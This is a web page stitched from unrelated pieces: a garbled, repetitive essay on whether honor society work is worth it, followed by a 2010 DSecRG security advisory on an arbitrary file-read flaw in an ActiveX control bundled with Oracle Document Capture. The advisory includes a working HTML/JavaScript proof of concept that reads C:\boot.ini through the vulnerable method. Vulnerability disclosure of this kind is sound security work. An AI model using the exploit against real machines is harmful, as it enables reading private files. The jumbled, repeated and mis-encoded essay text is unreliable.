Honor Society Work Info

At the heart of most chapters is a commitment to the community. Honor society work often involves organizing large-scale service projects. This might include tutoring underrepresented students, coordinating blood drives, or partnering with local non-profits for fundraising. Unlike casual volunteering, honor society members are expected to take the lead in project management, overseeing logistics, marketing, and volunteer recruitment. Leadership and Governance

Project Management: Taking a service project from an idea to completion requires timelines, delegation, and resource management.

Some societies focus heavily on the advancement of their specific discipline. Work in these groups might involve publishing a peer-reviewed undergraduate journal, organizing research symposiums, or advocating for academic integrity on campus. This type of involvement is particularly grueling but highly rewarded in the eyes of graduate school admissions committees. The Skill Set Acquired honor society work

The question of whether honor society work is "worth it" usually centers on the resume. Hiring managers generally view active membershipвЂ”not just passive enrollmentвЂ”as a sign of a well-rounded candidate.

The labor performed within an honor society translates into a robust set of transferable skills. While a high GPA proves you can learn, honor society work proves you can execute. At the heart of most chapters is a

In the end, an honor society is like a gym membership: the value is not in the card in your wallet, but in the effort you exert once you walk through the doors. The work is where the true honor lies.

Honor Society Work: Is the Commitment Worth the Reward? In the landscape of academic achievement, receiving an invitation to join an honor society is often viewed as a definitive milestone. It is a validation of late nights, rigorous study habits, and intellectual curiosity. However, once the initial excitement of the induction ceremony fades, many students and professionals find themselves asking a practical question: what does honor society work actually entail, and is it a valuable use of time? Work in these groups might involve publishing a

Communication: Whether drafting formal emails to university deans or public speaking at an induction, members refine their professional voice.

EasyMail ActiveX Control (emsmtp.dll) that included into Oracle Document Capture distrib can be used to read any file in target system

Digital Security Research Group [DSecRG] Advisory DSECRG-11-007 (Internal #DSECRG-00117)

Application: Oracle Document Capture
Versions Affected: 10.1350.0005
Vendor URL: http://www.oracle.com/technology/software/products/content-management/index_dc.html
Bugs: Unsecure READ method
Exploits: YES
Reported: 29.01.2010
Second report: 02.02.2010
Date of Public Advisory: 24.01.2010
CVE: CVE-2010-3595
Authors: Alexey Sintsov
by Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description
***********

EasyMail ActiveX Control (emsmtp.dll) that included into Oracle Document Capture distrib
can be used to read any file in target system. Vulnerable method is "ImportBodyText()".

Details
*******

For example if you enter filename "C:\\boot.ini" in "ImportBodyText" method then control will
open and read file "C:\boot.ini". Content of boot.ini will be loaded into property "BodyText" .

Class EasyMailSMTPObj
GUID: {68AC0D5F-0424-11D5-822F-00C04F6BA8D9}
Number of Interfaces: 1
Default Interface: IEasyMailSMTPObj
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False

Example:
*******

<HTML>
<HEAD>
<TITLE>DSECRG</TITLE>
</HEAD>
<BODY>

<OBJECT id='ora' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></OBJECT>

<SCRIPT>

function Exploit(){
ora.ImportBodyText("C:\\boot.ini");
document.write("Try to read c:\\boot.ini:<br><br>"+ora.BodyText);
}
Exploit();

</SCRIPT>
</BODY>
</HTML>

References
**********

http://dsecrg.com/pages/vul/show.php?id=307
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About
*****

Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com